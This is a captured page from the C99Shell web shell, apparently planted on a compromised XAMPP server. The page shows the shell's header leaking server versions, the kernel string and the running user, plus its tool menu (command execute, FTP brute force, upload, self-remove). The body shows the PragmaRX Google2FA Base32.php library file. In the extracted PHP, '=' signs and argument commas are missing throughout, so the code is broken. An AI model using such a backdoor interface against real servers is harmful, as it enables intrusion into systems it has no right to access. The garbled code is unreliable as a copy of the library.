!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/pragmarx/google2fa/src/Support/   drwxr-xr-x
Free 13.55 GB of 61.93 GB (21.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Base32.php (5.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PragmaRX\Google2FA\Support;

use 
ParagonIE\ConstantTime\Base32 as ParagonieBase32;
use 
PragmaRX\Google2FA\Exceptions\IncompatibleWithGoogleAuthenticatorException;
use 
PragmaRX\Google2FA\Exceptions\InvalidCharactersException;
use 
PragmaRX\Google2FA\Exceptions\SecretKeyTooShortException;

trait 
Base32
{
    
/**
     * Enforce Google Authenticator compatibility.
     */
    
protected $enforceGoogleAuthenticatorCompatibility true;

    
/**
     * Calculate char count bits.
     *
     * @param string $b32
     *
     * @return int
     */
    
protected function charCountBits($b32)
    {
        return 
strlen($b32) * 8;
    }

    
/**
     * Generate a digit secret key in base32 format.
     *
     * @param int    $length
     * @param string $prefix
     *
     * @throws \Exception
     * @throws \PragmaRX\Google2FA\Exceptions\InvalidCharactersException
     * @throws \PragmaRX\Google2FA\Exceptions\SecretKeyTooShortException
     * @throws \PragmaRX\Google2FA\Exceptions\IncompatibleWithGoogleAuthenticatorException
     *
     * @return string
     */
    
public function generateBase32RandomKey($length 16$prefix '')
    {
        
$secret $prefix $this->toBase32($prefix) : '';

        
$secret $this->strPadBase32($secret$length);

        
$this->validateSecret($secret);

        return 
$secret;
    }

    
/**
     * Decodes a base32 string into a binary string.
     *
     * @param string $b32
     *
     * @throws \PragmaRX\Google2FA\Exceptions\InvalidCharactersException
     * @throws \PragmaRX\Google2FA\Exceptions\SecretKeyTooShortException
     * @throws \PragmaRX\Google2FA\Exceptions\IncompatibleWithGoogleAuthenticatorException
     *
     * @return string
     */
    
public function base32Decode($b32)
    {
        
$b32 strtoupper($b32);

        
$this->validateSecret($b32);

        return 
ParagonieBase32::decodeUpper($b32);
    }

    
/**
     * Check if the string length is power of two.
     *
     * @param string $b32
     *
     * @return bool
     */
    
protected function isCharCountNotAPowerOfTwo($b32)
    {
        return (
strlen($b32) & (strlen($b32) - 1)) !== 0;
    }

    
/**
     * Pad string with random base 32 chars.
     *
     * @param string $string
     * @param int    $length
     *
     * @throws \Exception
     *
     * @return string
     */
    
private function strPadBase32($string$length)
    {
        for (
$i 0$i $length$i++) {
            
$string .= substr(
                
Constants::VALID_FOR_B32_SCRAMBLED,
                
$this->getRandomNumber(),
                
1
            
);
        }

        return 
$string;
    }

    
/**
     * Encode a string to Base32.
     *
     * @param string $string
     *
     * @return string
     */
    
public function toBase32($string)
    {
        
$encoded ParagonieBase32::encodeUpper($string);

        return 
str_replace('='''$encoded);
    }

    
/**
     * Get a random number.
     *
     * @param int $from
     * @param int $to
     *
     * @throws \Exception
     *
     * @return int
     */
    
protected function getRandomNumber($from 0$to 31)
    {
        return 
random_int($from$to);
    }

    
/**
     * Validate the secret.
     *
     * @param string $b32
     *
     * @throws \PragmaRX\Google2FA\Exceptions\InvalidCharactersException
     * @throws \PragmaRX\Google2FA\Exceptions\SecretKeyTooShortException
     * @throws \PragmaRX\Google2FA\Exceptions\IncompatibleWithGoogleAuthenticatorException
     */
    
protected function validateSecret($b32)
    {
        
$this->checkForValidCharacters($b32);

        
$this->checkGoogleAuthenticatorCompatibility($b32);

        
$this->checkIsBigEnough($b32);
    }

    
/**
     * Check if the secret key is compatible with Google Authenticator.
     *
     * @param string $b32
     *
     * @throws IncompatibleWithGoogleAuthenticatorException
     */
    
protected function checkGoogleAuthenticatorCompatibility($b32)
    {
        if (
            
$this->enforceGoogleAuthenticatorCompatibility &&
            
$this->isCharCountNotAPowerOfTwo($b32// Google Authenticator requires it to be a power of 2 base32 length string
        
) {
            throw new 
IncompatibleWithGoogleAuthenticatorException();
        }
    }

    
/**
     * Check if all secret key characters are valid.
     *
     * @param string $b32
     *
     * @throws \PragmaRX\Google2FA\Exceptions\InvalidCharactersException
     */
    
protected function checkForValidCharacters($b32)
    {
        if (
            
preg_replace('/[^'.Constants::VALID_FOR_B32.']/'''$b32) !==
            
$b32
        
) {
            throw new 
InvalidCharactersException();
        }
    }

    
/**
     * Check if secret key length is big enough.
     *
     * @param string $b32
     *
     * @throws \PragmaRX\Google2FA\Exceptions\SecretKeyTooShortException
     */
    
protected function checkIsBigEnough($b32)
    {
        
// Minimum = 128 bits
        // Recommended = 160 bits
        // Compatible with Google Authenticator = 256 bits

        
if (
            
$this->charCountBits($b32) < 128
        
) {
            throw new 
SecretKeyTooShortException();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5991 ]--